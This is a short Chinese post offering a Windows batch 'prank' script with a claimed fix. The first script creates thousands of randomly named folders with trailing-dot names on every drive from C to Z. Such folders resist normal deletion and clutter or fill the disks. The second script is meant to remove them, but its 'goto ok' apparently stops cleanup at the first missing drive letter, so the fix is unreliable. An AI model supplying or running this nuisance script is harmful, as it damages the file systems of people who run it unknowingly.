一个恶作剧的批处理代码 附带解决方法

set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
for /l %%a in (1,1,1000) do for %%b in (%alldrive%) do md %%b:\%random%%random%%random%%%a..\

Echo Off
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
for %%l in (%alldrive%) do (
    if not exist %%l:\ goto ok
    For /f "delims=" %%i In ('dir /ad /b %%l:\^|find /i "."') do rd %%l:\%%i.\ 2>nul
)
:ok
echo 清除完成...........
pause